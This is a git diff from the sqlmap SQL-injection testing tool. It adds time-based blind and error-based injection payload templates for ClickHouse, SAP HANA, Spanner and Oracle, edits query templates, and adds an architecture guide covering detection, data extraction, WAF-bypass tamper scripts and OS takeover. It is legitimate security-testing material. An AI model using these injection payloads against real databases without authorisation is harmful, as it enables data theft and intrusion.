+ + + Spanner OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause + 2 + 5 + 3 + 1,2,3,8,9 + 1 + OR ERROR(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')) IS NOT NULL + + OR ERROR(CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')) IS NOT NULL + + + [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP] + +
+ Spanner +
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dfd9a2d2604..1370b8b262e 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -195,9 +195,9 @@ 2 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -235,9 +235,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -276,9 +276,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + AND [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + AND [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -318,9 +318,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + OR [RANDNUM]=IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + OR [RANDNUM]=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) # @@ -1494,6 +1494,44 @@
+ + ClickHouse AND time-based blind (heavy query) + 5 + 4 + 1 + 1,2,3 + 1 + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + AND [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ + + ClickHouse OR time-based blind (heavy query) + 5 + 5 + 3 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ ClickHouse +
+
+ @@ -1588,9 +1626,9 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM] END) @@ -1607,10 +1645,10 @@ 5 2 1,2,3,9 - 1 - IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + 3 + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1),[RANDNUM]) - (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) @@ -1738,6 +1776,26 @@ + + + Oracle time-based blind - Parameter replace (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 1,3,9 + 3 + BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END; + + + + +
+ Oracle +
+
+ Oracle time-based blind - Parameter replace (DBMS_LOCK.SLEEP) 5 @@ -1880,7 +1938,7 @@ 4 2 1,2,3,9 - 1 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM INFORMATION_SCHEMA.SYSTEM_USERS) @@ -1900,7 +1958,7 @@ 5 2 1,2,3,9 - 1 + 3 (SELECT (CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END) FROM (VALUES(0))) @@ -2034,6 +2092,25 @@ + + Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_SESSION.SLEEP) + 5 + 3 + 1 + 2,3 + 1 + ,(BEGIN IF ([INFERENCE]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + ,(BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_SESSION.SLEEP([SLEEPTIME]); ELSE DBMS_SESSION.SLEEP(0); END IF; END;) + + + + +
+ Oracle +
+
+ Oracle time-based blind - ORDER BY, GROUP BY clause (DBMS_LOCK.SLEEP) 5 @@ -2132,5 +2209,82 @@ + + SAP HANA AND time-based blind (heavy query) + 5 + 3 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA OR time-based blind (heavy query) + 5 + 3 + 3 + 1,2,3,9 + 1 + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + OR [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ + + SAP HANA AND time-based blind (heavy query - comment) + 5 + 5 + 2 + 1,2,3,9 + 1 + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + AND [RANDNUM]=(SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + -- + + + + +
+ SAP HANA +
+
+ + + SAP HANA time-based blind - Parameter replace (heavy query) + 5 + 5 + 2 + 1,2,3,9 + 3 + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME) AND ([INFERENCE])) + + (SELECT COUNT(*) FROM SYS.OBJECTS AS T1,SYS.OBJECTS AS T2,SYS.OBJECTS AS T3 WHERE LOWER(T1.OBJECT_NAME)!=UPPER(T2.OBJECT_NAME)) + + + + +
+ SAP HANA +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index deda4364d9c..dfaabd38c81 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -35,8 +35,8 @@ - - + + @@ -47,6 +47,10 @@ + + + + @@ -61,7 +65,8 @@ - + + @@ -78,7 +83,7 @@
- + @@ -114,14 +119,18 @@ - - + + + + + + @@ -136,7 +145,8 @@ - + + @@ -153,8 +163,8 @@ - - + + @@ -193,6 +203,11 @@ + + + + + @@ -207,7 +222,8 @@ - + + @@ -228,7 +244,7 @@ - + @@ -261,11 +277,11 @@ - + - - + + - + - + - + + + + + + - + - + @@ -302,7 +323,8 @@ - + + @@ -362,7 +384,7 @@ - + @@ -417,7 +439,8 @@ - + + @@ -441,16 +464,16 @@ - - + + - - + + @@ -533,7 +556,7 @@ - + @@ -606,7 +629,7 @@ - + @@ -621,7 +644,7 @@ - + @@ -631,24 +654,24 @@ - + - + - + - + @@ -656,7 +679,7 @@ - + @@ -679,8 +702,8 @@ - - + + @@ -725,7 +748,8 @@ - + + @@ -747,10 +771,10 @@ - - - - + + + + @@ -769,8 +793,8 @@ - - + + @@ -778,18 +802,19 @@ - + - + - - + + - + + @@ -875,8 +900,8 @@ - - + + @@ -934,19 +959,19 @@ - - + + - - - - + + + + - - + + @@ -962,11 +987,11 @@ - + - + @@ -975,11 +1000,11 @@ - + - + @@ -1133,11 +1158,11 @@ - + /> - + - + @@ -1319,6 +1344,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + @@ -1354,7 +1448,7 @@ - + @@ -1375,7 +1469,8 @@ - + + @@ -1643,6 +1738,7 @@ + @@ -1682,6 +1778,7 @@ + @@ -1716,4 +1813,198 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/doc/ARCHITECTURE.md b/doc/ARCHITECTURE.md new file mode 100644 index 00000000000..1753488258a --- /dev/null +++ b/doc/ARCHITECTURE.md @@ -0,0 +1,237 @@ +# sqlmap architecture + +A contributor-oriented map of how sqlmap is put together: the major components, +how a run flows through them, and where to start looking for a given concern. + +> This is a map, not a spec. It describes the durable structure and data flow; for +> exact signatures, option names, and enumerable lists (tampers, DBMSes, options), +> the source is authoritative. **When this document disagrees with the code, the code wins.** + +sqlmap runs on both Python 2.7 and 3.x; sources are kept pure-ASCII unless a literal +non-ASCII byte is unavoidable. Compatibility shims live in `lib/core/compat.py` and +`thirdparty/six`. + +--- + +## 1. Entry points + +| Entry | File | Purpose | +|-------|------|---------| +| CLI | `sqlmap.py` -> `main()` | the scanner. Applies runtime patches, parses options, runs a scan. | +| REST API | `sqlmapapi.py` | `-s` server / `-c` client wrappers around `lib/utils/api.py`. | + +`main()` (sqlmap.py) does, in order: `dirtyPatches()` (monkey-patches stdlib for +quirks/security - see below), `setPaths()`, `init()` (option parsing + environment +setup), then dispatches to `start()` for a normal scan, or to the self-tests +(`--smoke` / `--vuln-test` / `--api-test`) in `lib/core/testing.py`. + +--- + +## 2. Global state: `conf` and `kb` + +Almost everything hangs off two process-global singletons defined in `lib/core/data.py`, +both `AttribDict` (attribute-accessible dicts; missing keys read back as `None`): + +- **`conf`** - the resolved user configuration (options + derived settings). What the + user asked for. +- **`kb`** ("knowledge base") - mutable runtime state discovered during a run + (identified DBMS, injection points, page templates, caches, locks, counters). + +The configuration pipeline (`lib/core/`): + +- `parse/cmdline.py` - argparse definition of every CLI option. +- `core/optiondict.py` - option name -> type map (used for config-file/API coercion). +- `core/defaults.py` - default values. +- `core/option.py` - the heavy lifter: `_setConfAttributes()`, `_setKnowledgeBaseAttributes()`, + `_setHTTPHandlers()` (installs the global urllib opener incl. keep-alive), DBMS/encoding + setup, etc. Merges CLI + config file + defaults into `conf`/`kb`. +- `core/settings.py` - constants, version, regexes, thresholds. **New constants go here.** + +Identifiers in the codebase are camelCase. + +--- + +## 3. Top-level layout + +| Path | Responsibility | +|------|----------------| +| `lib/core/` | conf/kb model, common helpers, settings, enums, dump, session, agent, option parsing | +| `lib/controller/` | the scan orchestrator (`controller.py`), detection checks (`checks.py`), enumeration dispatch (`action.py`), DBMS handler selection (`handler.py`) | +| `lib/request/` | HTTP layer: `connect.py` (sending), `comparison.py` (the true/false oracle), `inject.py` (value extraction), protocol handlers, response processing | +| `lib/techniques/` | the exploitation engines: `blind/inference.py`, `error/use.py`, `union/{test,use}.py`, `dns/` | +| `lib/parse/` | parsing of inputs: CLI, config, HTTP request/log files, HTML, sitemap, and the XML payload/boundary loader (`payloads.py`) | +| `lib/utils/` | feature modules: `api.py` (REST), `hashdb.py` (session), `crawler.py`, `hash.py` (cracking), `har.py`, `brute.py`, `search.py`, ... | +| `lib/takeover/` | OS-level takeover: shells, file access, UDF, registry, Metasploit, `xp_cmdshell` | +| `plugins/generic/` | DBMS-agnostic enumeration/fingerprint/filesystem/takeover base classes | +| `plugins/dbms//` | per-DBMS subclasses + dialect (one dir per supported DBMS) | +| `tamper/` | payload-mutation scripts (WAF bypass), one `tamper()` per file | +| `data/xml/` | the data-driven engine: `boundaries.xml`, `payloads/*.xml`, `queries.xml`, `errors.xml` | +| `data/` (other) | wordlists/common tables/columns (`txt/`), UDFs (`udf/`), stored procs (`procs/`), shells (`shell/`) | +| `tests/` | stdlib-unittest suite (offline); see section 11 | +| `thirdparty/` | vendored dependencies (six, bottle, chardet, ...) - no pip at runtime | +| `extra/` | auxiliary tools (e.g. `vulnserver` used by `--vuln-test`) | + +--- + +## 4. The scan lifecycle (`lib/controller/controller.py: start()`) + +For each target: + +1. **Target setup** - `initTargetEnv()` / `setupTargetEnv()` (`lib/core/target.py`): + resolve URL/params, open the per-target output dir and session file + (`conf.hashDBFile`), and **resume** anything already known (DBMS, injection points, + cached values) from the session. +2. **Connection & profiling** (`lib/controller/checks.py`): `checkConnection()`, + `checkWaf()` (fills `kb.identifiedWafs`), `checkStability()` / + dynamic-content detection (establishes `kb.pageTemplate`, `kb.matchRatio`). +3. **Heuristics** - `heuristicCheckSqlInjection()` (cheap error-based hint). +4. **Detection** - `checkSqlInjection(place, parameter, value)` per parameter, driven by + the data engine (section 5). Confirmed points are appended to `kb.injections`. +5. **Fingerprint & handler** - `lib/controller/handler.py: setHandler()` identifies the + back-end DBMS and assigns `conf.dbmsHandler`, the object through which all + enumeration is dispatched (section 7). +6. **Action** - `action()` (`lib/controller/action.py`) routes the requested operation + (`--banner`, `--dbs`, `--tables`, `--dump`, `--sql-query`, `--os-shell`, ...) to + `conf.dbmsHandler` methods, and feeds results to `conf.dumper`. + +If nothing is injectable, the dead-end advisory (level/risk, technique, `--text-only`, +`--tamper` - definitive when `kb.identifiedWafs` is set) is raised as +`SqlmapNotVulnerableException`. + +--- + +## 5. The data-driven detection engine + +Detection behavior lives in **data, not code** - `data/xml/`, loaded by +`lib/parse/payloads.py` (`loadBoundaries()`, `loadPayloads()`): + +- **`boundaries.xml`** - injection *boundaries*: prefix/suffix pairs and the + clause/where/parameter-type context they apply to (e.g. quote vs. numeric contexts). +- **`payloads/*.xml`** - the *tests*, one file per technique + (`boolean_blind`, `error_based`, `inline_query`, `stacked_queries`, `time_blind`, + `union_query`), each with the request template and the comparison/grep logic that + decides success. + +`getSortedInjectionTests()` (`lib/core/common.py`) orders the candidate tests by the +identified/likely DBMS, `--level`, and `--risk`. The **agent** (`lib/core/agent.py`) +forges the actual payload string - applying boundary prefix/suffix, the `[RANDNUM]`/ +`[DELIMITER]`-style markers, comments, and tamper scripts. Requests go out via +`lib/request/connect.py`; the **oracle** `lib/request/comparison.py` decides true/false +by comparing the response against `kb.pageTemplate` (difflib ratio vs. `kb.matchRatio`, +plus titles/errors/HTTP-code signals). + +--- + +## 6. Exploitation techniques + +Once a parameter is injectable, value extraction is dispatched by +`lib/request/inject.py: getValue()` to the matching engine in `lib/techniques/`: + +| Technique | Engine | Mechanism | +|-----------|--------|-----------| +| boolean-based blind | `blind/inference.py: bisection()` | binary-search each character via true/false oracle | +| time-based blind / stacked | `blind/inference.py` (time compare) | same bisection, oracle is a measured delay | +| error-based | `error/use.py: errorUse()` | parse the value straight out of a provoked DB error | +| UNION query | `union/{test,use}.py` | column-count detection then `UNION SELECT` extraction | +| inline query | (inline, via inject) | value embedded in the original query position | +| DNS exfiltration | `dns/` | `--dns-domain` out-of-band channel | + +`bisection()` is the hot loop; it caches the `--charset` table in +`kb.cache.charsetAsciiTbl` and respects the `kb.disableShiftTable` runaway-guard latch +(intentional). Multi-threaded extraction is coordinated via `kb.locks` and +`getCurrentThreadData()` (`lib/core/threads.py`). + +--- + +## 7. DBMS abstraction + +Enumeration is DBMS-agnostic at the top and specialized underneath: + +- **`plugins/generic/`** - base classes for each concern: `fingerprint.py`, + `enumeration.py`, `databases.py`, `entries.py`, `users.py`, `filesystem.py`, + `takeover.py`, `syntax.py`, `misc.py`, `search.py`, `custom.py`, `connector.py` + (direct DB connection for `-d`). +- **`plugins/dbms//`** - one directory per supported DBMS, subclassing the generic + pieces and supplying dialect specifics. +- **`data/xml/queries.xml`** - per-DBMS SQL query templates (banner, current user, table + enumeration, casting, etc.) keyed by DBMS. The generic code asks for a query by name; + the dialect comes from XML. + +`conf.dbmsHandler` (set in `handler.py`) is the live object that `action()` calls into. + +--- + +## 8. Output and session + +- **Output** - `conf.dumper` is a `Dump` instance (`lib/core/dump.py`): console tables + plus per-table file export in CSV / HTML / SQLITE / JSONL (`--dump-format`). Logging + is via `logger` (`lib/core/log.py`). +- **Session / resume** - each target gets a SQLite session file + (`//session.sqlite`). `hashDBWrite()` / `hashDBRetrieve()` + (`lib/core/common.py`, backed by `lib/utils/hashdb.py`) cache injection points, + fingerprint, and extracted values so a re-run *resumes* instead of re-testing + (`--flush-session` discards it; `--fresh-queries` ignores cached query results). A + stale-session nudge fires on resume when the file is older than `HASHDB_STALE_DAYS`. + +--- + +## 9. Request layer and tampering + +`lib/request/connect.py` (`Connect.getPage`) is the single HTTP chokepoint. Around it: +protocol handlers (`httpshandler`, `redirecthandler`, `chunkedhandler`, `rangehandler`, +persistent connections via `lib/request/keepalive.py`), response processing (`basic.py`), and the +comparison oracle (`comparison.py`). + +**Tamper scripts** (`tamper/`) mutate the payload just before sending to evade WAF/IPS. +Each file exposes a `tamper(payload, **kwargs)` and a `__priority__`; `--tamper=a,b,c` +chains them in priority order. They are payload-string transforms only (no engine +coupling), which is why they compose freely. + +--- + +## 10. REST API and JSON report + +`lib/utils/api.py` runs a Bottle server (`sqlmapapi.py -s`) that drives sqlmap scans as +subprocesses and exposes them over HTTP. Key pieces: `DataStore`/`Task` (task registry), +an IPC SQLite `Database` (the subprocess writes results/logs/errors back through +`StdDbOut`), and the route handlers (`/task/*`, `/option/*`, `/scan/*`, `/version`, ...). +The contract is documented in `sqlmapapi.yaml` (OpenAPI) and `REST-API.md`. + +`--report-json` reuses the *same* assembly code (`_assembleData` / `_sanitizeScanData`) +that the `/scan//data` endpoint uses, so the CLI report and the API result can't +drift; `RESTAPI_VERSION` is the API contract version (major exposed as integer). + +--- + +## 11. Tests and self-tests + +Two complementary layers: + +- **Offline unit/regression suite** (`tests/`) - stdlib `unittest` only (no pytest/pip), + green on py2 + py3. `_testutils.py` bootstraps global state and provides the + property/fuzz harness (`Rng` - a cross-version-identical PRNG - and `for_all`). Run: + `python -B -m unittest discover -s tests -p "test_*.py"` (`-B` matters: a cached `.pyc` + makes a `getFileType(__file__)` doctest see `binary`). +- **In-tree self-tests** (`lib/core/testing.py`, hidden switches): `--smoke-test` + (doctests + regex sanity over the whole tree), `--vuln-test` (end-to-end scans against + the bundled `extra/vulnserver`), `--api-test` (live REST round-trip). The CI workflow + (`.github/workflows/tests.yml`) runs all of these. + +--- + +## 12. "Where do I start for ...?" + +| I want to change... | Start in | +|---------------------|----------| +| a CLI option | `lib/parse/cmdline.py` (+ `optiondict.py`, `defaults.py`) | +| a constant/threshold | `lib/core/settings.py` | +| how injection is *detected* | `data/xml/boundaries.xml` + `data/xml/payloads/*.xml`, then `lib/controller/checks.py` | +| how a value is *extracted* | `lib/request/inject.py` + the relevant `lib/techniques/` engine | +| the true/false decision | `lib/request/comparison.py` | +| a per-DBMS query/dialect | `data/xml/queries.xml` + `plugins/dbms//` | +| enumeration behavior | `plugins/generic/*.py` | +| dump/output format | `lib/core/dump.py` | +| a WAF-bypass transform | add a file under `tamper/` | +| the REST API surface | `lib/utils/api.py` (+ keep `sqlmapapi.yaml` in sync) | +| session/resume behavior | `lib/utils/hashdb.py` + `hashDB*` in `lib/core/common.py` | +| a stdlib monkey-patch / security shim | `lib/core/patch.py` | diff --git a/doc/AUTHORS b/doc/AUTHORS index d3758d676d3..300711a3a14 100644 --- a/doc/AUTHORS +++ b/doc/AUTHORS @@ -1,7 +1,7 @@ -Bernardo Damele Assumpcao Guimaraes (@inquisb) - - -Miroslav Stampar (@stamparm) - - -You can contact both developers by writing to dev@sqlmap.org +Bernardo Damele Assumpcao Guimaraes (@inquisb) + + +Miroslav Stampar (@stamparm) + + +You can contact both developers by writing to dev@sqlmap.org diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 1281080c040..dada8fb47e0 100644 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,3 +1,23 @@ +# Version 1.10 (2026-01-01) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/11?closed=1) + +# Version 1.9 (2025-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.8...1.9) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/10?closed=1) + +# Version 1.8 (2024-01-03) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.7...1.8) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/9?closed=1) + +# Version 1.7 (2023-01-02) + +* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.6...1.7) +* [View issues](https://github.com/sqlmapproject/sqlmap/milestone/8?closed=1) + # Version 1.6 (2022-01-03) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.5...1.6) diff --git a/doc/THANKS.md b/doc/THANKS.md index dc49071a915..aa636fdeb20 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -109,6 +109,9 @@ Alessandro Curio, Alessio Dalla Piazza, * for reporting a couple of bugs +Alexis Danizan, +* for contributing support for ClickHouse + Sherif El-Deeb, * for reporting a minor bug @@ -172,7 +175,7 @@ Ivan Giacomelli, * for reviewing the documentation Dimitris Giannitsaros, -* for contributing a REST-JSON API client +* for contributing a REST API client Nico Golde, * for reporting a couple of bugs @@ -191,9 +194,6 @@ David Guimaraes, * for reporting considerable amount of bugs * for suggesting several features -Chris Hall, -* for coding the prettyprint.py library - Tate Hansen, * for donating to sqlmap development @@ -532,6 +532,9 @@ Duarte Silva M Simkin, * for suggesting a feature +Tanaydin Sirin, +* for implementation of ncurses TUI (switch --tui) + Konrads Smelkovs, * for reporting a few bugs in --sql-shell and --sql-query on Microsoft SQL Server @@ -620,6 +623,9 @@ Thierry Zoller, Zhen Zhou, * for suggesting a feature +Zakaria Zoulati, +* for contributing SAP HANA support + -insane-, * for reporting a minor bug diff --git a/doc/THIRD-PARTY.md b/doc/THIRD-PARTY.md index 76d9e8fe350..971e794be6a 100644 --- a/doc/THIRD-PARTY.md +++ b/doc/THIRD-PARTY.md @@ -15,9 +15,7 @@ This file lists bundled packages and their associated licensing terms. Copyright (C) 2013, Jonathan Hartley. * The `Fcrypt` library located under `thirdparty/fcrypt/`. Copyright (C) 2000, 2001, 2004 Carey Evans. -* The `PrettyPrint` library located under `thirdparty/prettyprint/`. - Copyright (C) 2010, Chris Hall. -* The `SocksiPy` library located under `thirdparty/socks/`. +* The `PySocks` library located under `thirdparty/socks/`. Copyright (C) 2006, Dan-Haim. ```` @@ -48,10 +46,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * The `Chardet` library located under `thirdparty/chardet/`. Copyright (C) 2008, Mark Pilgrim. -* The `KeepAlive` library located under `thirdparty/keepalive/`. - Copyright (C) 2002-2003, Michael D. Stenner. -* The `MultipartPost` library located under `thirdparty/multipart/`. - Copyright (C) 2006, Will Holcomb. * The `icmpsh` tool located under `extra/icmpsh/`. Copyright (C) 2010, Nico Leidecker, Bernardo Damele. @@ -271,13 +265,11 @@ be bound by the terms and conditions of this License Agreement. # MIT * The `bottle` web framework library located under `thirdparty/bottle/`. - Copyright (C) 2012, Marcel Hellkamp. + Copyright (C) 2024, Marcel Hellkamp. * The `identYwaf` library located under `thirdparty/identywaf/`. - Copyright (C) 2019-2020, Miroslav Stampar. -* The `ordereddict` library located under `thirdparty/odict/`. - Copyright (C) 2009, Raymond Hettinger. + Copyright (C) 2019-2021, Miroslav Stampar. * The `six` Python 2 and 3 compatibility library located under `thirdparty/six/`. - Copyright (C) 2010-2018, Benjamin Peterson. + Copyright (C) 2010-2024, Benjamin Peterson. * The `Termcolor` library located under `thirdparty/termcolor/`. Copyright (C) 2008-2011, Volvox Development Team. diff --git a/doc/translations/README-ar-AR.md b/doc/translations/README-ar-AR.md new file mode 100644 index 00000000000..6def1dae26e --- /dev/null +++ b/doc/translations/README-ar-AR.md @@ -0,0 +1,69 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) 